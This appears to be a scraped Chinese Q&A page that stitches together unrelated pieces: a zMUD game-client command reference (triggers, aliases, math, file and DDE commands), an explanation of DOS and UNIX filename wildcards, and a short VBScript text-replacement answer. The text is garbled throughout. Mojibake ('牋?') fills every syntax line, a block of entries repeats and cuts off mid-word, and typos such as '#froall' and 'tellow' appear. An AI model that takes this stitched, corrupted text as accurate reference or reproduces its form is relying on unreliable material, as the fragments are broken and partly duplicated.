如果@test的值是16,則變數test2將被賦值12

#ALIAS add {#MATH value %1+%2}
add 3 4

執行後變數value的值為7

MARK

Syntax:牋?#MA
Related:牋?#PATH

開始記錄新的路徑,正在記錄的路徑將被廢棄

MEDIA

Syntax:牋?#ME function
Related:牋?#PLAY

向當前的多媒體設備發送命令,通常在#play之後使用,function中可以使用變數,可
用的function依設備不同而不同值,一般有:

back
返回一步
close
關閉當前文件
eject
放棄當前設備
next
播放下一曲目
pause
暫停
paly

Ⅷ 有誰可以給我解釋一下"通配符"的知識

通配符

1、基本的通配符有哪些?

·「?」可替代單個字元。

·「*」可替代任意字元。

·方括弧「[charset]」可替代charset集中的任何單個字元。

對最後一條做些解釋。[cChH]通配符便可替代c或h字元的大小寫形式。
通配符集還能描述介於字元對之間的所有字元。如「[a-z]」就可以代
替任意小寫字母,而[a-zA-Z]則可替代任意字母。注意可替代的字元
包括字元包括字元對之間的所有字元。

與DOS相比,UNIX的通配符機制要比DOS好得多。在DOS中,任何在「*」
之後,在「.」之彰的字元均被忽略,所以下面的指令將不能得到你想
象的結果。

del *bak.*

在DOS中,用戶只能用此命令刪除當前目前下的所有文件,除非系統要
求你不這樣做。而在UNIX系統中,「*」可替代包括0在內的任意數字的
字元,但一行中的其餘特徵也仍需匹配,因此「bak.*」可匹配
newbak.save、oldbak.new甚至bak.temp,但不能和newbak匹配,因為後
者不含「.」。這非常巧妙,可大大方便用戶,而「*bak」則可匹配以上
所有的詞條,包括newbak。

2、能在一條指令中用多個通配符嗎?

可以,如

rm a*out*tmp?

該命令可以刪除一系列臨時性的輸出文件,如ab.out.temp1、ab.out.temp1
等。

3、如何利用通配符使指令更靈活?

UNIX可將有一定關的文件看作一集合的一部分,用戶可以用該集合去匹配。
所以,如果你需要刪除file1.temp、file2.temp……file9.temp,只須健入:

rm file[0-9].temp

該技巧的用處在於可以用刪除那些相要刪除的文件。如果你每天都要為一個
非常重要的資料庫做一個「mp」報告,你把文件存入mp.'date%h%d',
它包括一系列文件如下:

mp.jun23

mp jun24

mp jun25

mp.jun26

再讓我們假設因為每個文件的容量都在100M左右,所以磁碟空間很快會被占滿,
因此需要每隔幾天刪去一些老的文件,只留下最近的兩個文件,為此,鍵入:

rm –i *[34]

這條指令將刪去那些以「」開頭並以「3」或「4」結尾的文件。

通配符的使用

在使用文件時,主文件名和擴展名中還可以使用通配符「*」「?」。其中「*」代表從它所在位置直到「.」(主文件名中為到「.」前,擴展名為「.」後)的所有字元;「?」代表它所在位置的任意字元。

實例:

A.?? 表示文件主名為A,擴展名不超過兩個字元的文件

???.com 表示文件名不超過三個字元,擴展名為COM的文件

*.* 表示所有文件

ABC.* 表示文件名為ABC,具有任意擴展名的文件

*.EXE 表示以EXE為擴展名的所有文件

A*.* 表示以字元A開頭的所有文件 例如: ABC.txt ABD.com等

A??.* 表示文件主名以A開頭且不超過三個字元,具有任意擴展名

的文件

tabs)
%x
匹配任何數量的非空格
[range]
匹配任何數量的在[range]中列出的字元
^
強制從一行的開始進行匹配
$
強制匹配到一行的結束
(pattern)
保存匹配的式樣到參數%1~%9
~
包括其中的字元不會被解釋為特殊字元
{val1|val2|val3|...}
匹配其中列出的任何特殊的串
{^string}
不匹配其中包括的串

使用[range]時,你可以在其中列出需要的字元例如 [abc] 或使用范圍 [a-c] 。

為了匹配特殊字元本身,可以使用~將特殊字元括住,例如:~[test~] 將匹配字元串
[test] 而不是作為 [range] 來匹配。

只使用$可以匹配一個空行。

別名中使用參數的例子

我們在解謎過程中向npc提出的問題通常是以:

ask npc about here
ask npc about rumors
ask npc about name

這樣三個命令開始的,把他們定義成別名可以節省一些時間,像這樣:

#al askn {ask %1 about here;ask %1 about here;ask %1 about name}

可如果npc的名字有兩個單詞,或一堆同名的npc中你要問其中第二個,就需要把別名
中的參數改為%-1,此時執行askn bing 2或askn tian bing就不會出錯了。

為了更好的理解參數的作用,試試執行下面的命令:

#al tt test1 %1 test2 %2 test3 %-1 test4 %-2

看看執行{tt a1 a2 a3 a4 a5}的結果,一切都清楚了吧?

表達式

當執行運算時,如果所有參數均為數字,則執行數學運算,否則執行字元串操作。以
下是一些常用的表達式(v1和v2代表變數或另外的表達式):

v1+v2
如果v1或v2不是數字,則執行字元串相加
v1-v2
從v1中減去v2
v1*v2
相乘
v1/v2
v1除v2,結果不含小數
v1\v2
取模
v1&v2
邏輯運算and
v1 and v2
同上
v1 | v2
邏輯運算or
v1 or v2
同上
v1 xor v2
邏輯運算xor
v1 = v2
如果v1等於v2返回真
v1 > v2
如果v1大於v2返回真
v1 < v2
如果v1小於v2返回真
v1 >= v2
如果v1大於等於v2返回真
v1 <= v2
如果v1小於等於v2返回真
v1 <> v2
如果v1不等於v2返回真
v1 != v2
同上
v1 =~ v2
如果表達式v1中的pattern包含v2,返回真
v1 ~= v2
同上
-v1
返回v1的負值
!v1
邏輯運算非

命令:
number]

Syntax:牋?#number command

這個命令向MUD重復發送number次命令,number必須是一個常數,如果要使用變數,請
使用loop命令。當前已經重復的計數保存在系統變數%repeatnum中。

實例:

#4 fight bing %i

命令將被解釋成{fight bing 1;fight bing 2;...;fight bing 4}發往MUD10

abort

Syntax:牋?#AB

停止分析處理當前的命令行中#ab以後的部分

實例:

get all corpse;#ABORT;split
在這個例子中,split將被忽略

action

Syntax:牋?#AC pattern command [classname]
Related:牋?#TRIGGER #T+ #T- #IGNORE

這是zMUD中最有用的特性之一。當從MUD中收到一條匹配的文本時,預先定義的命令將
被執行。這條命令的第一個參數是被匹配的文本,如果文本中包含空格,你需要將它
用括弧{}括起來。pattern中能夠包含特殊的pattern matching symbols 和通配符。
第二個參數是將要被執行的命令,超過一個單詞的命令也需要使用括弧{}。第三個參
數用於給不同的觸發動作命名分類,便於管理。高級的觸發設置必須使用參數
(Preferences)對話框,在對話框中,你可以決定觸發的動作是緊跟在匹配的文本之
後還是在新的一行中執行。

一個簡單的例子:

#AC {你買下一件藤甲} {wear jia}

這樣,無論何時只要你買了藤甲,立刻可以自動穿上。

自動登錄的例子:

#AC {^您的英文名字:} {river}
#AC {^請輸入相應密碼:} {12345}

然後在參數對話框中關閉 Trigger on Newline 設置並且打開 Trigger on Prompt 這
樣名字和密碼將緊接著提示行輸入而不會等待換行。注意,字元 ^ 將強制從一行的頭
部開始匹配。

觸發中的參數

#AC {^You get (%d) coins} {chat I get %1coin } rich

當你看到一行「You get [number] coins」時,其中的數值將被存放在變數%1中,其
後執行的命令可以使用這個數值。在這個例子中用到了類(class)名rich,這樣你就
能夠使用t+和t-命令來打開或關閉這個觸發。

add

Syntax:牋?#AD variable amount

這個例子允許你做一個簡單的算術計算。amount可以是數值或變數。如果要做減法,
可以使用負值。復雜一些的算術計算,請使用 #math 命令。

實例:

#AD moves 1
給變數@moves加一

#ACTION {You get (%d) coins} {#AD gold %1}
當撿到錢時,把撿錢的數量加到 @gold 變數中

alarm

Syntax:牋?#ALA timepattern command
Related:牋?#TRIGGER

建立一個基於時間的觸發,而不是根據從MUD中獲得的信息觸發。timepattern可以是
特定的時間或包括通配符。如果在minus前加上(-),則表示連線時間而不是實際時
間。

timepattern 的格式表示成 hours:minutes:seconds ,其中的小時和分鍾是可選項,
如果不指明,則假定小時和分鍾被通配符*取代。通配符*可以代替任何數值,而*10可
以匹配10、20、30等等。你也可以指定幾個數值用(|)來分隔。Finally, you can
put parenthesis around the wildcards to save the values matched to the
%1..%9 parameters。(這句話我不懂,誰來幫我?)

實例:

#ALARM -30:00 {save}
這里的 hour 沒有指定,所以默認為*。 因此,這個例子將在連線後每隔30分鍾執行
save 命令。

#ALARM 3:00:00 {gossip Why arent you sleeping?}
命令將在凌晨3點觸發。

#ALARM -59:(55|56|57|58|59) {#SHOW 60-%1}
這個命令在你連線時每個小時的最後5秒在屏幕上顯示 5 4 3 2 1。

alias

Syntax:牋?#AL [aliasname] [string]
Related:牋?#VARIABLE

保存一個或一組命令到一個較短的別名中。當執行別名時,命令中的變數能夠被擴
展。如果需要延遲變數擴展,可以使用兩個變數標志(%%)。

如果不帶參數執行命令alias,所有的別名將被列出在輸出窗口。如果在命令alias中
指定別名,被指定的別名將被顯示。

別名能夠用<tab>鍵擴展。在命令行中鍵入一個別名並按下<tab>鍵,命令行中的別名
將被替換成別名中包含的命令。

如果在定義別名時使用參數(%1,%2,...),在命令行中緊隨別名的文本將取代這些
參數。特殊的參數%-1到%-99表示-n之後的所有文本。(使用參數的例子)

實例

#AL fs {fill waterskin}

當執行fs時,fill waterskin將被送往MUD。

#AL fs {fill @container}

在別名中使用變數,變數可以在購買容器時用觸發賦值。

#AL make {#ALIAS %1 {cast %1 %%1]

在這個例子中,執行make heal將發出#ALIAS heal {cast heal %1}命令,這樣就建立
了一個新的別名heal。

all

Syntax:牋?#ALL command

發送一個命令到所有角色的窗口

實例:

#ALL quit
發送 quit 命令到所有激活的角色窗口。

backup

Syntax:牋?#BA
Related:牋?#PATH #RETRACE

從當前正在記錄的路徑中刪除最後一步

實例:

如果當前路徑是 .nsew 那麽執行 #BA 將使其成為 .nse 。如果當前路徑是 .n4s 則
執行 #BA 後將成為 .n3s 。?

beep

Syntax:牋?#BEEP [value]
Related:牋?#PLAY

在pc機喇叭中發聲,value 對應相應的 windows 事件。

實例:

#BEEP 16
播放windows 事件 16 的聲音。

#BEEP;#WAIT 500;#BEEP
beep兩次,中間間隔0.5秒。

button

Syntax:牋?#BU number

觸發一個自定義按鈕,編號(從1至16)決定觸發的按鈕。number 可以是一個變數。

實例:

#BU 1

觸發第一個按鈕,效果相當於在屏幕上按下這個按鈕

c+

Syntax:牋?#C+ [name]
Related:牋?#C-

開始獲取文本到窗口name中,如果省略name,文本將送入command editor,(如果
editor中的capturing設置可用)。如果在preferences對話框中選中Capture
Commands設置,鍵入的命令也將被送往這個窗口。

例子:

#c+ temp

開始拷貝所有從MUD中獲得的文本到名為temp的窗口中

c-

Syntax:牋?#C-
Related:牋?#C+

停止獲取文本到另一個窗口

capture

Syntax:牋?#CAP [number] [name]
Related:牋?Editor window

獲取最後number行送到另一個窗口。如果省略number,則只獲取最後一行。如果
number是-1,所有的行將被拷貝。如果name省略,發送的目標將是command editor
window。

例子

#tr {咖啡告訴你:救命!} {#cap tell}

將tell的內容存入名為tell的窗口,避免忽略。

case

Syntax:牋?#CA index command1 [commandn]

允許從命令列表中選擇一個命令執行。index參數決定執行哪一個命令。如果index大
於列表中的命令數,將從第一個開始重新選擇。例如,列表中有4個命令,而index=
6,則第二個命令將被執行。你也可以用變數%random隨機的選擇需執行的命令。

實例:

#CASE 2 {first command} {second command} {third command}

執行第二個命令

#CASE @joincmd {join} {rescue}

如果變數@join是奇數,執行join,偶數執行rescue。

#CASE %random {Hello} {Hi there} {Hiya} {Hi}

隨機選擇問候語。

character

Syntax:牋?#CH
Related:牋?#HOST #PW

從Charater atabase中返回當前角色的名字

colse

Syntax:牋?#CL filenum
Related:牋?#FILE

根據給定的文件號關閉文件,文件必須是已經用#file命令打開的。

實例:

#CLOSE 1

關閉一號文件

clr

清除屏幕。如果要清空scrollback buffer並收回內存,請使用菜單命令Empty。

color

Syntax:牋?#CO attribute [pattern]
Related:牋?#HIGHLIGHT

如果省略pattern參數,這個命令將改變最後一行的顏色。顏色屬性見下表。如果包括
pattern參數,將建立一個顏色觸發,引起觸發的條件除了字元對應外還需要有相同的
顏色。

Color values:

black牋?
0
blue牋
1
green
2
cyan
3
red
4
magenta
5
brown
6
gray
7
tellow
14
white
15
bold
128

要顯示亮色,在基本值上加8,作為背景顏色,需要用基本值乘16。例如:使用紅色背
景的值是4*16或64。在前景上使用粗體字,需要再加128。這樣,在藍色背景上的粗體
白字的值是:128+1*16+15=159。

實例:

#CO red

將最後一行的顏色變成紅色

#CO bold,red

將最後一行變成紅色粗體

connect

Syntax:牋?#CON
Related:牋?#DISCONNECT

斷開並重新連接到當前的MUD,與菜單命令File/Reconnect 相同

cr

Syntax:牋?#CR

送一個空行到MUD

cw

Syntax:牋?#CW color
Related:牋?#COLOR

在一次成功的觸發之後,改變引起觸發的內容的顏色

實例:

#TRIGGER {告訴你} {#CW red}

當有人tell 你時,顯示較為醒目的顏色

dde

Syntax:牋?#DDE server topic macro

這個命令允許你通過動態數據交換使用外部程序。zMUD也有一些內建的函數用於DDE:

%dde(server,topic,item)

%ddepoke(server,topic,item,value)

%ddemacro(server,topic,macro)

如果你使用%ddeopen(server,topic)函數打開DDE連接,在其他函數中不再需要指明
server和topic,這個函數是全局性的,對於zMUD的任何窗口均有效。結束DDE連接
時,使用%ddeclose()函數。

zMUD也擁有自己的DDE服務,server名是zmud,topic也是zmud,item為data。

實例:

#DDE NETSCAPE WWW_OpenURL {<a target="_blank" href="http://www.zg169.net/~czmud/index.html}">http://www.zg169.net/~czmud/index.html}</a>

使用netscape打開zMUD從入門到精通主頁,因為~zMUD的特殊字元,所以需要再加一個
~寫成~。

#DDE ZMUD ZMUD {chat* bye;quit}

使用DDE向MUD發出命令

%dde(Excel,TEST.XLS,R1C1)

使用excel裝入test.xls並返回單元R1C1的值。

%ddepoke(Excel,TEST.XLS,R1C1,@tank)

向test.xls的R1C1單元寫入變數@tank的值

誰能用DDE寫一個自動對詩的機器人?

default

Syntax:牋?#DE [special-char-string]
Related:牋?#NODEF

保存你當前使用的特殊字元並恢復系統默認的特殊字元,在使用現成的命令腳本時,
這個命令可以保證腳本中的標准特殊字元被正確識別。使用#NODEF命令將恢復你自定
義的特殊字元。

zMUD中使用的特殊字元有

1
Command Char
#
將緊隨的字串解釋為命令
2
Separator Char
;
分隔多個命令
3
Variable Char
@
用於擴展變數的值
4
History Char
!
調用命令緩沖區中的命令
5
Parameter Char
%
指出系統變數和函數
6
Movement Char
.
調用路徑變數或函數
7
Focus Char
:
向指定窗口發命令
8
Quote Char
~
緊隨其後的特殊字元當作普通字元

9
Must be a space at the end
*?
*fool

實例:

#DEF

保存你當前使用的特殊字元並恢復系統默認的特殊字元

#DEF {xx$xxxxx }

保存你當前使用的特殊字元並回復默認的特殊字元,然後將@改為$。

disconnect

Syntax:牋?#DI
Related:牋?#CONNECT

斷開當前的連接

實例:

#TRIGGER {你已陷入半昏迷狀態} {#DI}

斷線就不會被殺死嗎?我沒試過,hehe。

ECHO

Syntax:牋?#EC string
Related:牋?#SAY

在當前窗口中顯示字串,類似與say命令。除了用於離線測試trigger似乎沒有別的用
處。

實例:

ERASE

Syntax:牋?#ERA filenum
Related:牋?#FILE

從硬碟中刪除用#file打開的文件

實例:

#FILE 1 old.log
#ERA 1

刪除old.log文件,需要先用#file命令打開。

EXEC

Syntax:牋?#EXEC command

執行一個命令,命令中可以包括變數

實例:

#TRIGGER {^咖啡告訴你(*)} {#EXEC %1}

執行咖啡的指令。(我可沒那麽傻)

FILE

Syntax:牋?#FI number name
Related:牋?#READ #WRITE

打開文件准備讀寫。zMUD可以打開10個文件,文件號1~5打開文本文件,能夠按順序
讀或追加,文件號6~10打開記錄文件用於隨機讀寫。如果nuber已經用於打開的文
件,則前一個文件將被關閉。打開的文件只能位於zmud.exe所在的目錄且不能是
EXE,HLP和MUD文件。

實例:

#FILE 1 test.txt

打開text.txt作為文件1。

FIND

Syntax:牋?#FIN

找出在當前地圖上的定位,通過look命令用當前房間的描述比較地圖數據定位匹配的
房間,與automapper的菜單命令find作用相同。

FORALL

Syntax:#FO list command

逐條列出字串列表內容並執行命令。列表使用|分隔,逐個賦值給變數%i,並執行命
令。

實例:

list=sys|ups|yahoo

#froall @list {kill %i}

我一定是瘋了。

FREEZE

Syntax:牋?#FR [value]

切分屏幕查看以前的顯示,value=0表示恢復屏幕。這條命令相當於Ctrl-z或單擊右邊
的滾動條。(所以沒什麼用)

GAG

Syntax:牋?#GA [pattern]
Related:牋?#UNGAG

如果pattern省略,命令將從屏幕上刪除最後一行。如果包括pattern,將刪除所有匹
配行,相當於#ACTION pattern '#GAG'。

實例:

#ga 咖啡

這叫眼不見為凈。

HELP

Syntax:牋?#HE [command]

不帶參數相當與從菜單中選擇help,否則顯示指定命令的參數。

H+

Syntax:牋?#H+
Related:牋?#H-

從命令緩沖區中取得下一條命令,只在使用過#h-命令後有效,相當於向下的箭頭鍵。

H-

Syntax:牋?#H-
Related:牋?#H+

從命令緩沖區中取得上一條命令,相當於向上的箭頭鍵。

HISTORY

Syntax:牋?#HIS

顯示命令緩沖區中的命令,每條顯示的命令都帶有行號,可以用!加行號來執行某條命
令。!!執行最新的命令。!+字母將執行最近一個以!後字母開頭的命令。命令緩沖區
的大小默認為20,可由參數對話框改變。

你也可以用左鍵單擊命令輸入行左邊的三角以彈出交互命令緩沖區對話框來選擇命
令,單擊將命令送至命令輸入行以供編輯,雙擊將命令直接送往MUD。

<tab>鍵可以配合命令緩沖區的使用,如果你用!加數字或字母,再按下<tab>鍵,命令
將拷入命令輸入行以供編輯。

實例:

#HI

顯示最後20條命令

!!

執行最後一條命令

!3

執行命令緩沖區中的最後一條命令

!k

執行最後一條以k開頭的命令

!k<TAB>

將最後一條以k開頭的命令拷入命令輸入行以供編輯

HIGHLIGHT

Syntax:牋?#HI [pattern]
Related:牋?#COLOR

如果省略pattern,最後一行文本將以高亮顯示,如果包括pattern,匹配的文本將以
高亮顯示。相當於命令#ACTION pattern '#HIGHLIGHT'。

HOST

Syntax:牋?#HO
Related:牋?#CHAR #PW

返回當前連接的主機名

IF

Syntax:牋?#IF expression true-command [false-command]

執行條件分支,如果表達式為真,執行true-command,否則執行falise-command(可
選)。表達式中可以包含變數和運運算元。

實例:

#if (@qn>30) {learn_skills}

在戰斗中如果潛能達到了30,執行別名learn_skills返回師父處學習。

#if (@hp>10) {exercise @hp} {exert recover}

如果氣大於10就修煉內功,否則補氣。

#IF (@line =~ "You receive (%d) coins") {split %1}

如果變數@line與pattern "You receive (%d) coins"匹配,執行{split %1},判斷匹
配需要使用「=~」。

IGNORE

Syntax:牋?#IG
Related:牋?#T+ #T-

打開或關閉所有觸發,第一次執行#ig 關閉所有觸發,第二次執行恢復正常。

INPUT

Syntax:牋?#IN string

將文本放入命令輸入行,替換當前內容

實例:

#in get @item

擴展變數item後將命令置入命令輸入行

KEY

Syntax:牋?#KE key command

定義按鍵執行的命令,key值需註明按鍵的全名,例如:F1,CTRL-A 或 ALT-F2

實例:

#key F1 eat baozi

定義F1鍵執行eat baozi 命令

<ALT-D>={drink jiudai}

定義 ALT-D 鍵執行 drink jiudai 命令

KILLALL

Syntax:牋?#KILLALL

刪除所有的別名、宏、觸發、<tab>縮寫

LMAP

Syntax:牋?#LM path command
Related:牋?#LOOP

穿越指定的路徑並在每個房間執行指定的命令,變數%i將記錄房間數

實例:

#LMAP 3sn {#SHOW %roomname(%i)}

從當前的地圖定位向南走三步,向北走一步,並顯示每個房間的名稱

LOAD

Syntax:牋?#LOA filename
Related:牋?#SAVE

裝入指定的設置文件,filename中可以使用變數。注意:裝入新的設置文件時,原來
的設置文件中的改變不會被保存

實例:

#load dc

裝入設置文件dc.mud。(.mud是默認的擴展名)

<F1>={#load combat};<F2>={#load cocial}

為戰爭與和平定製的設置文件分別用F1和F2載入

LOOK

Syntax:牋?#LOOK

執行MUD的look命令並重新寫入地圖的房間數據

LOOP

Syntax:牋?#LOO range command

重復執行由range指定數量的命令,range包括最小值和最大值,中間用逗號分隔,如
果range中只有一個數字,默認的最小值是1,循環的次數記錄在變數%i中,可在命令
中調用。

實例:

#LOO 3 north

向MUD中送入north命令3次

#LOO 3,4 {get all from corpse %i}

取出第三和第四具屍體中的所有東西

#LOO @num {eat baozi}

吃包子@num口

LOG

Syntax:牋?#LO [filename]

開始在給定的文件中記錄從MUD中獲得的文本,如果文件不存在,則建立文件並開始記
錄,如果文件已存在,則打開存在的文件並追加記錄。省略參數用於開關記錄

實例:

#LO test.txt

開始將MUD的所有輸出記入test.txt

#LO

開關記錄,如果正在記錄,該命令將停止記錄,否則開始記錄

MAP

Syntax:牋?#MAP direction
Related:牋?#PATH

在當前路徑上增加一個方向

#MAP north

如果當前路徑是.s,則更新為.sn,同時向北移動一步

MATH

Syntax:牋?#MAT variable expression
Related:牋?#ADD

將表達式的結果賦值給變數。表達式中可以包括數字、邏輯運算和字元串函數,表達
式中包含的變數將被擴展。

實例:

#MATH test (1+3)*4

將計算結果16賦值給變數test

#MATH test2 @test-4

如果@test的值是16,則變數test2將被賦值12

#ALIAS add {#MATH value %1+%2}
add 3 4

執行後變數value的值為7

MARK

Syntax:牋?#MA
Related:牋?#PATH

開始記錄新的路徑,正在記錄的路徑將被廢棄

MEDIA

Syntax:牋?#ME function
Related:牋?#PLAY

向當前的多媒體設備發送命令,通常在#play之後使用,function中可以使用變數,可
用的function依設備不同而不同值,一般有:

back
返回一步
close
關閉當前文件
eject
放棄當前設備
next
播放下一曲目
pause
暫停
paly

Ⅸ vbs「通配符」問題...

replace不支持通配符。可以使用正則表達式。
------------------------------------------
既然沒有樣本就將就用吧:

strFile = "1.txt"
oFile = "2.txt"

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(strFile, 1)

Do While not objFile.AtEndOfStream
strLine = objFile.ReadLine
If Instr(strLine,"1313") > 0 Then
strLine = Replace(strLine,"asdfa1313","2221313")
strLine = Replace(strLine,"45647561313","2221313")
strLine = Replace(strLine,"1u2j%1313","2221313")
Else
strLine = strLine
End If
colLines = colLines & strLine & vbCrLf
Loop
objFile.Close

Set objFile = objFSO.CreateTextFile(oFile, True)
objFile.Write colLines
objFile.Close

Set objFSO = Nothing